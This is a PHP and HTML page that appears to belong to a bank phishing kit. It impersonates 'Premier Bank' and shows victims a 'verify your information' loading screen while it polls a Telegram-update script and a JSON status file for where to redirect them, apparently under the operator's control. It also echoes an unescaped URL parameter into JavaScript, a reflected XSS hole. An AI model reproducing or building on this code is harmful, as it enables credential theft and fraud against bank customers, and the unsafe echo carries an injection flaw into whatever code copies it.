<?php
session_start();
include('config.php');

// Get visitor ID from URL or session
$visitor_id = $_GET['id'] ?? null;
if (!$visitor_id) {
    header("Location: error.php");
    exit();
}

// Verify visitor exists in redirects.json
$redirects_file = __DIR__ . '/session/redirects.json';
if (!file_exists($redirects_file)) {
    header("Location: error.php");
    exit();
}

$redirects = json_decode(file_get_contents($redirects_file), true);
if (!isset($redirects['redirects'][$visitor_id])) {
    header("Location: error.php");
    exit();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Processing - Premier Bank</title>
    <style>
        .loading-container {
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            min-height: 70vh;
            font-family: Arial, sans-serif;
        }
        .spinner {
            width: 50px;
            height: 50px;
            border: 5px solid #f3f3f3;
            border-top: 5px solid #002D72;
            border-radius: 50%;
            animation: spin 1s linear infinite;
            margin-bottom: 20px;
        }
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        .loading-text {
            text-align: center;
            color: #333;
            margin-bottom: 10px;
        }
        .loading-subtext {
            text-align: center;
            color: #666;
            font-size: 0.9em;
        }
        .progress-bar {
            width: 200px;
            height: 4px;
            background: #eee;
            border-radius: 2px;
            margin-top: 20px;
            overflow: hidden;
        }
        .progress-bar-fill {
            height: 100%;
            background: #002D72;
            width: 0%;
            transition: width 0.5s ease;
            animation: progress <?php echo $settings['loading_timeout']; ?>s linear;
        }
        @keyframes progress {
            0% { width: 0%; }
            100% { width: 100%; }
        }
    </style>
</head>
<body>
    <div class="loading-container">
        <div class="spinner"></div>
        <div class="loading-text">Please wait while we verify your information</div>
        <div class="loading-subtext">Do not close or refresh this page</div>
        <div class="progress-bar">
            <div class="progress-bar-fill"></div>
        </div>
    </div>

    <script>
        const checkInterval = <?php echo $settings['loading_check_interval']; ?>;
        const timeout = <?php echo $settings['loading_timeout']; ?> * 1000;
        const visitorId = '<?php echo $visitor_id; ?>';
        let startTime = Date.now();

        function checkRedirect() {
            if (Date.now() - startTime >= timeout) {
                console.log('Timeout reached, redirecting to error page');
                window.location.href = 'error.php?id=' + visitorId;
                return;
            }

            // First check Telegram updates
            fetch('check_telegram_updates.php')
                .then(() => {
                    // Then check JSON status
                    return fetch('check_json_status.php?visitor_id=' + visitorId);
                })
                .then(response => response.json())
                .then(data => {
                    console.log('Checking status:', data);
                    if (data.redirect) {
                        console.log('Redirecting to:', data.redirect_url);
                        window.location.href = data.redirect_url;
                    } else {
                        setTimeout(checkRedirect, checkInterval);
                    }
                })
                .catch(error => {
                    console.error('Error:', error);
                    setTimeout(checkRedirect, checkInterval);
                });
        }

        // Start checking for redirect
        console.log('Starting redirect checks for visitor:', visitorId);
        checkRedirect();
    </script>
</body>
</html>